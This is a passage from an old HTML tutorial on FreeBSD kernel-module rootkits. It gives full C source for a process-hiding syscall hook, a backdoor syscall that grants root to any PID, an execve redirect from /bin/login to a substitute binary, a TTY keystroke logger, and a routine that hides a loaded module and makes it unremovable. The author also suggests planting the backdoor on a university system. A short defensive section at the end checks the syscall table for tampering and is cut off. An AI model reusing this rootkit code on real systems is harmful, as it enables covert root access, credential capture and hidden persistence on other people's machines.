  2775. /*just some stuff we need*/
  2776. int tmp, counter;
  2777. /*call sysctl, and get return value*/
  2778. tmp= __sysctl(p, uap);
  2779. /*grab the MIB from user space*/
  2780. copyin(uap->name, &mib, sizeof(mib));
  2781. /*Did someone issue something like 'ps PID' -> in order to get information
  2782. on a certain single process ? If so we need to handle this. Attention :
  2783. I skipped checkin' the first two mib[] fields, again I'm lazy :)*/
  2784. if (mib[2]==KERN_PROC_PID)
  2785. {
  2786. /*Does he want to get info on our process ?*/
  2787. if (mib[3]==get_pid())
  2788. {
  2789. /*If so we return a size value of 0 standing for no such process*/
  2790. size=0;
  2791. /*copy to user space*/
  2792. copyout(&size, uap->oldlenp, sizeof(size));
  2793. /*and return*/
  2794. return(0);
  2795. }
  2796. else
  2797. /*otherwise display the reqeuested information*/
  2798. return 0;
  2799. }
  2800. /*the following code will handle calls like 'ps' and 'top' with ALL PROCS
  2801. enable*/
  2802. /*ok, we need to check the MIB for 'hacking' the real sysctl
  2803. our first check is it CTL_KERN*/
  2804. if (mib[0]==CTL_KERN)
  2805. /*our second check is it KERN_PROC*/
  2806. if (mib[1]==KERN_PROC)
  2807. /*our third check : is it the second sysctl (not the one retrieving the
  2808. kinfo_proc structure list size ?*/
  2809. if (uap->old!=NULL)
  2810. {
  2811. /*only catch the first call*/
  2812. if (global_counter==0)
  2813. {
  2814. global_counter++;
  2815. /*now it's time to check for our PID we want to hide*/
  2816. /*NOTE : Here we check the memory region in user space for a kinfo_proc
  2817. structure with the needed PID*/
  2818. for (counter=0;(counter*sizeof(kpr)<=size); counter++)
  2819. {
  2820. /*copy from user to kernel space*/
  2821. copyin(uap->old+counter*sizeof(kpr), &kpr, sizeof(kpr));
  2822. /*do we have our PID ?*/
  2823. if (kpr.kp_proc.p_pid==get_pid())
  2824. {
  2825. /*YES, so patch the size of the memory region (decrement by one
  2826. kinfo_proc structure)*/
  2827. newsize=size-sizeof(kpr);
  2828. /*'overlap' the memory, so we 'cut' our entry out*/
  2829. bcopy(uap->old+(counter+1)*sizeof(kpr), uap->old+counter*sizeof(kpr),
  2830. size-(counter+1)*sizeof(kpr));
  2831. }
  2832. }
  2833. /*set the new size*/
  2834. copyout(&newsize, uap->oldlenp, sizeof(size));
  2835. /*and finally return*/
  2836. return 0;
  2837. }
  2838. }
  2839. /*we have the sysctl call, that requests the memory size of the kinfo_proc
  2840. list*/
  2841. /*if uap->old == NULL, then the user requests the process count*/
  2842. else
  2843. {
  2844. /*we also need the size (count), so get it*/
  2845. copyin(uap->oldlenp, &size, sizeof(size));
  2846. /*in sys/kern/kern_proc.c BSD uses a size overestimated by 5 structures,
  2847. so we need to correct (decrease) that*/
  2848. size-=sizeof(kpr)*5;
  2849. newsize=size;
  2850. /*set global_counter to 0 for catching the only next sysctl*/
  2851. global_counter=0;
  2852. }
  2853. return tmp;
  2854. }
  2855. /*Normal getdirentries hack for hiding the process from procfs*/
  2856. static int
  2857. hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
  2858. {
  2859. unsigned int tmp, n, t;
  2860. struct dirent *dirp2, *dirp3;
  2861. /*The file we want to hide : The name must match exactly !*/
  2862. char hide[255];
  2863. /*copy the HIDE_PROC number into the hide string*/
  2864. sprintf(hide, "%d", get_pid());
  2865. /*just issue the syscall*/
  2866. getdirentries(p,uap);
  2867. /*this is the way BSD returns status values to the process issueing the
  2868. request.*/
  2869. tmp=p->p_retval[0];
  2870. if (tmp>0)
  2871. {
  2872. /*allocate memory*/
  2873. MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
  2874. /*copy the dirent structure for user space in our kernel space*/
  2875. copyin(uap->buf, dirp2, tmp);
  2876. /*dirp3 points to dirp2*/
  2877. dirp3=dirp2;
  2878. t=tmp;
  2879. /*In this loop we check for every dirent structure in the user buffer*/
  2880. while (t > 0)
  2881. {
  2882. n = dirp3->d_reclen;
  2883. t-=n;
  2884. /*Do we have the entry for our file to hide (I don't check for procfs)*/
  2885. if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
  2886. {
  2887. if (t!=0)
  2888. {
  2889. /*ATTENTION : Do not use something like strcpy or so. bcopy is able to
  2890. handle overlapping memroy locations, so this is our choice*/
  2891. bcopy((char*)dirp3+n,dirp3, t);
  2892. }
  2893. /*the dirent structure list is shorter now*/
  2894. tmp-=n;
  2895. }
  2896. /*The following piece of code is necessary, because we get one dirent entry
  2897. with d_reclen=0, if we would not implement this, we would get an infinite
  2898. while loop*/
  2899. if (dirp3->d_reclen==0)
  2900. {
  2901. /*end is reached*/
  2902. t=0;
  2903. }
  2904. /*as long as there is something to copy, do it*/
  2905. if (t!=0)
  2906. /*get the next pointer from the dirent structure list*/
  2907. dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
  2908. }
  2909. /*we must decrement the getdirentries user call return value, if we changed
  2910. something*/
  2911. p->p_retval[0]=tmp;
  2912. /*copy the whole (perhaps modified) memory back to the user buffer*/
  2913. copyout(dirp2, uap->buf, tmp);
  2914. /*free kernel memory*/
  2915. FREE(dirp2, M_DIRP2);
  2916. }
  2917. /*everything ok, so return 0*/
  2918. return 0;
  2919. }
  2920. /*the hacked getdirentries syscall*/
  2921. static struct sysent hacked_getdirentries_sysent = {
  2922. 4,
  2923. hacked_getdirentries /* sy_call */
  2924. };
  2925. /*the hacked kill sysentry*/
  2926. static struct sysent hacked_kill_sysent = {
  2927. 2,
  2928. hacked_kill
  2929. };
  2930. /*the hacked sysctl sysentry*/
  2931. static struct sysent hacked_sysctl_sysent = {
  2932. 6,
  2933. hacked_sysctl /* sy_call */
  2934. };
  2935. /*
  2936. * The function called at load/unload.
  2937. */
  2938. static int
  2939. dummy_handler (struct module *module, int cmd, void *arg)
  2940. {
  2941. int error = 0;
  2942. switch (cmd) {
  2943. case MOD_LOAD :
  2944. /*replace the sysctl syscall with our own*/
  2945. sysent[202]=hacked_sysctl_sysent;
  2946. /*replace the kill syscall with our own*/
  2947. sysent[37]=hacked_kill_sysent;
  2948. /*replace the getdirentries syscall with our own*/
  2949. sysent[196]=hacked_getdirentries_sysent;
  2950. break;
  2951. case MOD_UNLOAD :
  2952. /*argument count has not changed, so we only need to restore the
  2953. function pointer*/
  2954. sysent[202].sy_call=(sy_call_t*)__sysctl;
  2955. sysent[37].sy_call=(sy_call_t*)kill;
  2956. sysent[196].sy_call=(sy_call_t*)getdirentries;
  2957. break;
  2958. default :
  2959. error = EINVAL;
  2960. break;
  2961. }
  2962. return error;
  2963. }
  2964. /*module data*/
  2965. static moduledata_t syscall_mod = {
  2966. "ProcHide",
  2967. dummy_handler,
  2968. NULL
  2969. };
  2970. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  2971. </xmp>
  2972. Load this module and the process will be hidden. Already started processes can
  2973. - of course - also be hidden.<br>
  2974. You may say that this solution does not look very nice, I know, but again it's
  2975. working. And please bear in mind that this module is again experimental.
  2976. For kernel starters :<br>
  2977. You may wonder why I didn't patch the allproc or zombproc list directly. Well
  2978. those lists are also required for scheduling and other important system tasks.
  2979. It would be far too complicated to code something like this, I really think
  2980. that it's quite impossible.
  2981. <p>
  2982. <H3><A NAME="II.3.2."></A>3.2 Backdoor 'rootshell'</h3>
  2983. <p>
  2984. The following module was a nice idea I had when playing around with the proc
  2985. structure. Load this module, and you can 'SU' without a password.
  2986. The idea is very simple. The module implements a system call that gets one
  2987. argument : a PID. This can be the PID of any process, but will normally be the
  2988. PID of your user account shell (tcsh, sh, bash or whatever). This
  2989. process will then become root (UID 0) by manipulating its cred structure.
  2990. Here we go :
  2991. <xmp>
  2992. #include <sys/types.h>
  2993. #include <sys/param.h>
  2994. #include <sys/proc.h>
  2995. #include <sys/module.h>
  2996. #include <sys/sysent.h>
  2997. #include <sys/kernel.h>
  2998. #include <sys/systm.h>
  2999. #include <sys/linker.h>
  3000. #include <sys/lock.h>
  3001. /*arguments for our system call*/
  3002. struct make_me_root_args {
  3003. /*which process should be set UID=0?*/
  3004. int p_pid;
  3005. };
  3006. /*A very simple system call handler making a certain process UID=0*/
  3007. static int
  3008. make_me_root (struct proc *p, struct make_me_root_args *uap)
  3009. {
  3010. struct proc *pr=pfind(uap->p_pid);
  3011. /*this is all we need...*/
  3012. pr->p_cred->pc_ucred->cr_uid=0;
  3013. return 0;
  3014. }
  3015. /*
  3016. * The `sysent' for the our syscall
  3017. */
  3018. static struct sysent make_me_root_sysent = {
  3019. 1, /* sy_narg */
  3020. make_me_root /* sy_call */
  3021. };
  3022. /*we choose slot number 210, because it's free on FreeBSD 3.1*/
  3023. static int offset = 210;
  3024. /*nothing to do here*/
  3025. static int
  3026. load (struct module *module, int cmd, void *arg)
  3027. {
  3028. return 0;
  3029. }
  3030. /*start everything*/
  3031. SYSCALL_MODULE(rootmod, &offset, &make_me_root_sysent, load, NULL);
  3032. </xmp>
  3033. The problem is that anyone can call this system call, but you can add some
  3034. kind of simple authentication (like I did before) or just hide it with a
  3035. filesysetem hack ;).
  3036. Here's the user space :
  3037. <xmp>
  3038. /*in argv[1] this program waits for the PID to set UID=0*/
  3039. #include <stdio.h>
  3040. #include <sys/syscall.h>
  3041. #include <sys/types.h>
  3042. #include <sys/module.h>
  3043. struct make_me_root_args {
  3044. int p_pid;
  3045. };
  3046. int
  3047. main(int argc, char **argv)
  3048. {
  3049. struct make_me_root_args mmra;
  3050. mmra.p_pid=atoi(argv[1]);
  3051. return syscall (210, mmra);
  3052. }
  3053. </xmp>
  3054. In my opinion this is one of the easiest local backdoors. Interesting for
  3055. thousands of students. Image your university uses a buggy FreeBSD system (every
  3056. system is buggy, no piece of software is perfect). Do the scrippt-kiddie trick
  3057. and become root, install the module (hiding should be added) and you are done.
  3058. <p>
  3059. <H3><A NAME="II.4."></A>4. File execution redirection</h3>
  3060. <p>
  3061. This method and its advantages were already described in my Linux article, so
  3062. I will only give you the code plus some short words. Please note that this
  3063. hack approach is a bit different from the Linux idea, so pay attention :
  3064. <xmp>
  3065. #include <sys/types.h>
  3066. #include <sys/param.h>
  3067. #include <sys/proc.h>
  3068. #include <sys/module.h>
  3069. #include <sys/sysent.h>
  3070. #include <sys/kernel.h>
  3071. #include <sys/systm.h>
  3072. #include <sys/linker.h>
  3073. #include <sys/sysproto.h>
  3074. #include <sys/sysent.h>
  3075. #include <sys/proc.h>
  3076. #include <sys/syscall.h>
  3077. #include <sys/file.h>
  3078. #include <sys/malloc.h>
  3079. #include <sys/types.h>
  3080. #include <dirent.h>
  3081. /*
  3082. * Shareable process virtual address space.
  3083. * May eventually be merged with vm_map.
  3084. * Several fields are temporary (text, data stuff).
  3085. */
  3086. struct vmspace {
  3087. /*NOTE : I just used some padding stuff, to avoid too much include file
  3088. problems...
  3089. */
  3090. /* struct vm_map vm_map; VM address map */
  3091. char pad1[100];
  3092. /* struct pmap vm_pmap; private physical map */
  3093. char pad2[36];
  3094. int vm_refcnt; /* number of references */
  3095. caddr_t vm_shm; /* SYS5 shared memory private data XXX */
  3096. /* we copy from vm_startcopy to the end of the structure on fork */
  3097. #define vm_startcopy vm_rssize
  3098. segsz_t vm_rssize; /* current resident set size in pages */
  3099. segsz_t vm_swrss; /* resident set size before last swap */
  3100. segsz_t vm_tsize; /* text size (pages) XXX */
  3101. segsz_t vm_dsize; /* data size (pages) XXX */
  3102. segsz_t vm_ssize; /* stack size (pages) */
  3103. caddr_t vm_taddr; /* user virtual address of text XXX */
  3104. caddr_t vm_daddr; /* user virtual address of data XXX */
  3105. caddr_t vm_maxsaddr; /* user VA at max stack growth */
  3106. caddr_t vm_minsaddr; /* user VA at max stack growth */
  3107. };
  3108. /*the hacked execve syscall*/
  3109. static
  3110. int hacked_execve(struct proc *p, struct execve_args *uap)
  3111. {
  3112. char name[255];
  3113. /*the file we want to redirect*/
  3114. char old_name[]="/bin/login";
  3115. /*the new file to execute, perhaps hiding is a good idea...*/
  3116. char new_name[]="/bin/newlogin";
  3117. size_t done;
  3118. struct obreak_args oa;
  3119. struct execve_args kap;
  3120. struct execve_aegs *nap;
  3121. char *user_new_name;
  3122. /*get the program name the system (user) wants to execute via execve*/
  3123. copyinstr(uap->fname, name, 255, &done);
  3124. /*do we have the right file name?*/
  3125. if (strcmp((char*)&name, (char*)&old_name)==0)
  3126. {
  3127. /*IDEA : Now we allocate a bit of user space memory for a new execve_args
  3128. structure...*/
  3129. /*allocate one page*/
  3130. oa.nsize=curproc->p_vmspace->vm_daddr+ctob(curproc->p_vmspace->vm_dsize)+
  3131. 4096;
  3132. /*set the adress*/
  3133. user_new_name=oa.nsize-256;
  3134. /*copy the new name to user space location*/
  3135. copyout(&new_name, user_new_name, strlen(new_name));
  3136. /*set the pointer kap.fname to the user space location*/
  3137. kap.fname=oa.nsize-256;
  3138. /*set the pointer kap.argv to the old uap entry in user space*/
  3139. kap.argv=uap->argv;
  3140. /*the same as above*/
  3141. kap.envv=uap->envv;
  3142. /*set the adress for the new execve_args structure in user space*/
  3143. nap=(struct execve_args*)oa.nsize-4000;
  3144. /*copy the kernel execve_args structure to the user space one*/
  3145. copyout(&kap, nap, sizeof(struct execve_args));
  3146. /*execute the new command with the same argv and envv values*/
  3147. return execve(curproc, nap);
  3148. }
  3149. /*if we don't have our file, just continue*/
  3150. return execve(p, uap);
  3151. }
  3152. /*the hacked execve syscall*/
  3153. static struct sysent hacked_execve_sysent = {
  3154. 3,
  3155. hacked_execve /* sy_call */
  3156. };
  3157. /*
  3158. * The function called at load/unload.
  3159. */
  3160. static int
  3161. dummy_handler (struct module *module, int cmd, void *arg)
  3162. {
  3163. int error = 0;
  3164. switch (cmd) {
  3165. case MOD_LOAD :
  3166. /*replace the execve syscall with our own*/
  3167. sysent[SYS_execve]=hacked_execve_sysent;
  3168. break;
  3169. case MOD_UNLOAD :
  3170. /*argument count has not changed, so we only need to restore the
  3171. function pointer*/
  3172. sysent[SYS_execve].sy_call=(sy_call_t*)execve;
  3173. break;
  3174. default :
  3175. error = EINVAL;
  3176. break;
  3177. }
  3178. return error;
  3179. }
  3180. static moduledata_t syscall_mod = {
  3181. "ExeRedirect",
  3182. dummy_handler,
  3183. NULL
  3184. };
  3185. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  3186. </xmp>
  3187. I had to reuse an execve system call, so I was forced to allocate some user
  3188. space memory for the new args. This is why the module is a bit long.
  3189. <p>
  3190. <H3><A NAME="II.5."></A>5. TTY hijacking</h3>
  3191. <p>
  3192. TTY hijacking has a long tradition, and though there may be lots of ways to do,
  3193. kernel code is a quite nice solution. It was demonstrated on Linux boxes with
  3194. LKM. Now it's time to show you how it works on BSD. <br>
  3195. So take a look at my 10 minutes hack (don't expect good code) :
  3196. <xmp>
  3197. #include <sys/types.h>
  3198. #include <sys/param.h>
  3199. #include <sys/proc.h>
  3200. #include <sys/module.h>
  3201. #include <sys/sysent.h>
  3202. #include <sys/kernel.h>
  3203. #include <sys/systm.h>
  3204. #include <sys/linker.h>
  3205. #include <sys/sysproto.h>
  3206. #include <sys/sysent.h>
  3207. #include <sys/proc.h>
  3208. #include <sys/syscall.h>
  3209. #include <sys/file.h>
  3210. #include <sys/malloc.h>
  3211. #include <sys/types.h>
  3212. /*TTY we want to hijack*/
  3213. #define MAJOR 12
  3214. #define MINOR 2
  3215. /*buffer size to use (for TTY data)*/
  3216. #define BUFSIZE 8192
  3217. /*global memory for saving all TTY inputs*/
  3218. char *ttybuf;
  3219. /*global counter to implement some (bad) kind of ring buffer*/
  3220. int globalcounter=0;
  3221. MALLOC_DEFINE(M_BUF, "buf", "buf");
  3222. /*structure for system call to retrieve the TTYbuf data*/
  3223. static struct get_tty_args {
  3224. char *buf;
  3225. };
  3226. /*I packed some structures into this module, to make things clearer.*/
  3227. struct specinfo {
  3228. struct vnode **si_hashchain;
  3229. struct vnode *si_specnext;
  3230. struct mount *si_mountpoint;
  3231. dev_t si_rdev;
  3232. unsigned long si_blksize;
  3233. };
  3234. /*stuff needed for vnode structure*/
  3235. typedef int vop_t __P((void *));
  3236. enum vtype { VNON, VREG, VDIR, VBLK, VCHR, VLNK, VSOCK, VFIFO, VBAD };
  3237. TAILQ_HEAD(buflists, buf);
  3238. /*non-complete vnode structure, we only need the device parts.*/
  3239. struct vnode {
  3240. u_long v_flag; /* vnode flags (see below) */
  3241. int v_usecount; /* reference count of users */
  3242. int v_writecount; /* reference count of writers */
  3243. int v_holdcnt; /* page & buffer references */
  3244. daddr_t v_lastr; /* last read (read-ahead) */
  3245. u_long v_id; /* capability identifier */
  3246. struct mount *v_mount; /* ptr to vfs we are in */
  3247. vop_t **v_op; /* vnode operations vector */
  3248. TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */
  3249. LIST_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */
  3250. struct buflists v_cleanblkhd; /* clean blocklist head */
  3251. struct buflists v_dirtyblkhd; /* dirty blocklist head */
  3252. LIST_ENTRY(vnode) v_synclist; /* vnodes with dirty buffers */
  3253. long v_numoutput; /* num of writes in progress */
  3254. enum vtype v_type; /* vnode type */
  3255. union {
  3256. struct mount *vu_mountedhere;/* ptr to mounted vfs (VDIR) */
  3257. struct socket *vu_socket; /* unix ipc (VSOCK) */
  3258. struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */
  3259. struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */
  3260. } v_un;
  3261. /*....*/
  3262. };
  3263. /*the shortest systemcall I ever saw, but (again) everything is working*/
  3264. static
  3265. void get_tty(struct proc *p, struct get_tty_args *uap)
  3266. {
  3267. copyout(ttybuf, uap->buf, BUFSIZE);
  3268. }
  3269. /*the hacked write syscall*/
  3270. static
  3271. int hacked_write(struct proc *p, struct write_args *uap)
  3272. {
  3273. /*we will examine the vnode of the file it is read from*/
  3274. struct vnode *vn;
  3275. /*we have to check the device for our TTY*/
  3276. dev_t device;
  3277. /*get the vnode*/
  3278. vn=(struct vnode*)curproc->p_fd->fd_ofiles[uap->fd]->f_data;
  3279. /*do we have a character device?*/
  3280. if (vn->v_type==VCHR)
  3281. {
  3282. /*if so get the device*/
  3283. device=vn->v_un.vu_specinfo->si_rdev;
  3284. /*check for MAJOR and MINOR codes*/
  3285. if ((major(device)==MAJOR) && (minor(device)==MINOR))
  3286. {
  3287. /*arghh, this is no nice solution. Computer Science students should
  3288. correct this bad ring buffer implementation*/
  3289. if ((globalcounter+uap->nbyte)>BUFSIZE) globalcounter=0;
  3290. /*again no nice coding, just call me Mr. Lazy ;)*/
  3291. if (uap->nbyte<BUFSIZE)
  3292. copyin(uap->buf, ttybuf+globalcounter, uap->nbyte);
  3293. globalcounter+=uap->nbyte;
  3294. }
  3295. }
  3296. return write(p, uap);
  3297. }
  3298. /*the hacked open syscall*/
  3299. static struct sysent hacked_write_sysent = {
  3300. 3,
  3301. hacked_write /* sy_call */
  3302. };
  3303. /*our own system call for bringing the kernel buffer to user space*/
  3304. static struct sysent get_tty_sysent = {
  3305. 1,
  3306. get_tty /* sy_call */
  3307. };
  3308. static int
  3309. dummy_handler (struct module *module, int cmd, void *arg)
  3310. {
  3311. int error = 0;
  3312. switch (cmd) {
  3313. case MOD_LOAD :
  3314. /*allocate memory. Bear in mind that M_NOWAIT is always a bit critical!*/
  3315. MALLOC(ttybuf, char*, BUFSIZE, M_BUF, M_NOWAIT);
  3316. /*replace the execve syscall with our own*/
  3317. sysent[SYS_write]=hacked_write_sysent;
  3318. /*again we use slot 210*/
  3319. sysent[210]=get_tty_sysent;
  3320. break;
  3321. case MOD_UNLOAD :
  3322. /*free buffer*/
  3323. FREE(ttybuf, M_BUF);
  3324. /*argument count has not changed, so we only need to restore the
  3325. function pointer*/
  3326. sysent[SYS_write].sy_call=(sy_call_t*)write;
  3327. break;
  3328. default :
  3329. error = EINVAL;
  3330. break;
  3331. }
  3332. return error;
  3333. }
  3334. static moduledata_t syscall_mod = {
  3335. "TTYhijack",
  3336. dummy_handler,
  3337. NULL
  3338. };
  3339. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  3340. </xmp>
  3341. For any explainations read my Linux LKM text :). TTY hijacking is realized by
  3342. intercepting every write system call and checking the vnode for the correct
  3343. device codes (specified through major and minor).<br>
  3344. The following little program represents the user space part, getting the
  3345. data.
  3346. <xmp>
  3347. #include <stdio.h>
  3348. #include <sys/syscall.h>
  3349. #include <sys/types.h>
  3350. #include <sys/module.h>
  3351. struct get_tty_args {
  3352. char *buf;
  3353. };
  3354. int
  3355. main(int argc, char **argv)
  3356. {
  3357. /*maybe you have to adjust the size value (see BUFSIZE in module)*/
  3358. char *buf=(char*)malloc(8192);
  3359. struct get_tty_args uap;
  3360. int counter;
  3361. uap.buf=buf;
  3362. syscall (210, uap);
  3363. /*I used this way of printing, maybe it would be a better job to handle some
  3364. command codes (old plain ASCII)*/
  3365. for (counter=0; counter<=8192; counter++)
  3366. printf("%c", buf[counter]);
  3367. }
  3368. </xmp>
  3369. Ok, start the module with desired device codes. Wait some time, and start user
  3370. space program...<br>
  3371. The first big Linux TTY hijacking LKM used a device to manage the TTY buffer.
  3372. Of course, this would also work on FreeBSD, but I hadn't got the time, so
  3373. I just installed a system call.
  3374. <p>
  3375. <H3><A NAME="II.6."></A>6. Hiding the module</h3>
  3376. <p>
  3377. [Note : LKM hiding under FreeBSD 2.x systems was done before, KLD hiding for
  3378. 3.x systems is new, so read & learn.]<br>
  3379. Now it's time to discuss hiding of our module. First of all we have to think
  3380. about what to hide.<br>
  3381. As I explained above there is a big difference between a link file and a
  3382. module. Commands like 'kldstat' will give you a listing of loaded linkfiles,
  3383. but there is no command to get a list of all loaded modules.
  3384. So guess where kldstat gets the listing from. It's just the linker file list
  3385. 'files'. Now it's quite easy to hide this module and make it unremovable. Just
  3386. delete the desired entry from the files list, and everything is fine. There are
  3387. no problems with doing this (like there were with the proc lists). I have to
  3388. admit that I only analyzed 40 % of the whole kernel code (I will continue) so
  3389. I also implemented module hiding perhaps there is a place in the kernel we
  3390. need it. So let's take a look at my implementation :
  3391. <xmp>
  3392. /*FEATURES :
  3393. - manipulate linker files list
  3394. - manipulate moodules list
  3395. - manipulate first linker file entry
  3396. - manipulate global linker file ID coutner
  3397. - manipulate global modules ID counter
  3398. */
  3399. #include <sys/types.h>
  3400. #include <sys/param.h>
  3401. #include <sys/proc.h>
  3402. #include <sys/module.h>
  3403. #include <sys/sysent.h>
  3404. #include <sys/kernel.h>
  3405. #include <sys/systm.h>
  3406. #include <sys/linker.h>
  3407. #include <sys/sysproto.h>
  3408. #include <sys/sysent.h>
  3409. #include <sys/proc.h>
  3410. #include <sys/syscall.h>
  3411. #include <sys/file.h>
  3412. #include <sys/malloc.h>
  3413. #include <sys/types.h>
  3414. #include <sys/lock.h>
  3415. typedef TAILQ_HEAD(, module) modulelist_t;
  3416. extern struct lock lock;
  3417. /*we have to patch the files list*/
  3418. extern linker_file_list_t files;
  3419. extern int next_file_id;
  3420. /*we have to patch the modules list*/
  3421. extern modulelist_t modules;
  3422. extern int nextid;
  3423. struct module {
  3424. TAILQ_ENTRY(module) link;
  3425. TAILQ_ENTRY(module) flink;
  3426. struct linker_file *file;
  3427. int refs;
  3428. int id;
  3429. char *name;
  3430. modeventhand_t handler;
  3431. void *arg;
  3432. modspecific_t data;
  3433. };
  3434. char string[]="Hello Word";
  3435. /*this is just to show that extern functions also work*/
  3436. static
  3437. void do_a_print()
  3438. {
  3439. printf("IT WORKS : %s\n", string);
  3440. }
  3441. /*The syscall *TODO* function*/
  3442. /*This function is not necessary, because we just want to hide a module. We
  3443. only need it for checking, that our module is still working.*/
  3444. static int
  3445. hello (struct proc *p, void *arg)
  3446. {
  3447. printf ("SYSCALL was ESTABLISHED and is still in memory \n");
  3448. do_a_print();
  3449. return 0;
  3450. }
  3451. /*
  3452. * The `sysent' for the new syscall
  3453. */
  3454. static struct sysent hello_sysent = {
  3455. 0, /* sy_narg */
  3456. hello /* sy_call */
  3457. };
  3458. /*
  3459. * The offset in sysent where the syscall is allocated.
  3460. */
  3461. /*NO_SYSCALL stands for 'let the kernel choose the syscall number'*/
  3462. static int offset = 210;
  3463. /*
  3464. * The function called at load/unload.
  3465. */
  3466. static int
  3467. load (struct module *module, int cmd, void *arg)
  3468. {
  3469. linker_file_t lf=0;
  3470. module_t mod=0;
  3471. lockmgr(&lock, LK_SHARED, 0, curproc);
  3472. /*NOTE : The first linker file is the current kernel image (/kernel for
  3473. example). If we load our module we will increase the reference cound
  3474. of the kernel link file, this might be a bit suspect, so we must
  3475. patch this.*/
  3476. (&files)->tqh_first->refs--;
  3477. for (lf=(&files)->tqh_first; lf; lf=(lf)->link.tqe_next) {
  3478. if (!strcmp(lf->filename, "hide.ko"))
  3479. {
  3480. /*first let's decrement the global link file counter*/
  3481. next_file_id--;
  3482. /*now let's remove the entry*/
  3483. if (((lf)->link.tqe_next)!=NULL)
  3484. (lf)->link.tqe_next->link.tqe_prev=(lf)->link.tqe_prev;
  3485. else
  3486. (&files)->tqh_last=(lf)->link.tqe_prev;
  3487. *(lf)->link.tqe_prev=(lf)->link.tqe_next;
  3488. break;
  3489. }
  3490. }
  3491. lockmgr(&lock, LK_RELEASE, 0, curproc);
  3492. for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link)) {
  3493. if(!strcmp(mod->name, "mysys"))
  3494. {
  3495. /*first let's patch the internal ID counter*/
  3496. nextid--;
  3497. TAILQ_REMOVE(&modules, mod, link);
  3498. }
  3499. }
  3500. return 0;
  3501. }
  3502. /*start everything*/
  3503. /*This function only sets the field of X_module_data, where X stands for the
  3504. kind of module; here SYSCALL_...*/
  3505. SYSCALL_MODULE(mysys, &offset, &hello_sysent, load, NULL);
  3506. </xmp>
  3507. Load this module via kldload and wonder ;). You won't see anything. Even
  3508. loading another module will seem totally normal, because the ID field is only
  3509. incremented by 1 due to our modifications. After adding this hiding feature
  3510. any module is also unremovable and neary undetectable.
  3511. <p>
  3512. <H3><A NAME="II.7."></A>7. Last Words</h3>
  3513. <p>
  3514. As I said in my introduction this part only showed those hacks that
  3515. needed a total re-implementation on BSD compared to the Linux ones. Every other
  3516. hack I presented in my Linux text, should also work; but it's too trivial to
  3517. explain this here.<br>
  3518. Of course, it's also possible to write some kind of FreeBSD virus. Perhaps I
  3519. will work on this, but it's quite easy.
  3520. <p>
  3521. <H3><A NAME="III."></A>III. Securing the kernel</h3>
  3522. <p>
  3523. This part will only show you how to avoid some problems (not all) you as
  3524. administrator could have with 'hacker' modules playing havoc with your system
  3525. call table. My Linux text showed many ways how to fight against hostile modules
  3526. with the help of some protection LKMs. I won't repeat those ideas. You can use
  3527. all those modules on FreeBSD too, you only have to change the code a bit. This
  3528. is why this part is quite short; I only describe some new ideas.
  3529. <p>
  3530. <H3><A NAME="III.1."></A>1. How to detect sysent[] modifications</h3>
  3531. <p>
  3532. Those of you common with kernel hacking know that nearly every module that
  3533. does something useful for a hacker must modify the kernel system call table.
  3534. [Note : As I said in my introduction there are lots of ways to attack FreeBSD
  3535. without patching the system call table, but ... wait for a further release of
  3536. this text :)] Those changes are needed to intercept and manipulate system
  3537. calls. Of course there may also be some non-hacking modules that will change
  3538. the global system call table (add a system call or so), but normally those
  3539. driver modules (for example) don't change existing system calls. So we should
  3540. implement some piece of code checking every system call entry on a system that
  3541. is defined during startup for suspicious changes.
  3542. <xmp>
  3543. #include <sys/types.h>
  3544. #include <sys/param.h>
  3545. #include <sys/proc.h>
  3546. #include <sys/module.h>
  3547. #include <sys/sysent.h>
  3548. #include <sys/kernel.h>
  3549. #include <sys/systm.h>
  3550. #include <sys/linker.h>
  3551. #include <sys/sysproto.h>
  3552. #include <sys/sysent.h>
  3553. #include <sys/proc.h>
  3554. #include <sys/syscall.h>
  3555. #include <sys/file.h>
  3556. #include <sys/malloc.h>
  3557. #include <sys/types.h>
  3558. #include <sys/lock.h>
  3559. /*
  3560. * The function called at load/unload.
  3561. */
  3562. static int
  3563. dummy_handler (struct module *module, int cmd, void *arg)
  3564. {
  3565. char error[400];
  3566. int counter;
  3567. bzero(&error, sizeof(error));
  3568. /*this is hard cut & paste coding :-)*/
  3569. if (sysent[SYS_exit].sy_call!=exit) error[SYS_exit]=1;
  3570. if (sysent[SYS_fork].sy_call!=fork) error[SYS_fork]=1;
  3571. if (sysent[SYS_read].sy_call!=read) error[SYS_read]=1;
  3572. if (sysent[SYS_write].sy_call!=write) error[SYS_write]=1;
  3573. if (sysent[SYS_open].sy_call!=open) error[SYS_open]=1;
  3574. if (sysent[SYS_close].sy_call!=close) error[SYS_close]=1;
  3575. if (sysent[SYS_wait4].sy_call!=wait4) error[SYS_wait4]=1;
  3576. if (sysent[SYS_link].sy_call!=link) error[SYS_link]=1;
  3577. if (sysent[SYS_unlink].sy_call!=unlink) error[SYS_unlink]=1;
  3578. if (sysent[SYS_chdir].sy_call!=chdir) error[SYS_chdir]=1;
  3579. if (sysent[SYS_fchdir].sy_call!=fchdir) error[SYS_fchdir]=1;
  3580. if (sysent[SYS_mknod].sy_call!=mknod) error[SYS_mknod]=1;
  3581. if (sysent[SYS_chmod].sy_call!=chmod) error[SYS_chmod]=1;
  3582. if (sysent[SYS_chown].sy_call!=chown) error[SYS_chown]=1;
  3583. if (sysent[SYS_break].sy_call!=obreak) error[SYS_break]=1;
  3584. if (sysent[SYS_getfsstat].sy_call!=getfsstat) error[SYS_getfsstat]=1;
  3585. if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
  3586. if (sysent[SYS_getpid].sy_call!=getpid) error[SYS_getpid]=1;
  3587. if (sysent[SYS_mount].sy_call!=mount) error[SYS_mount]=1;
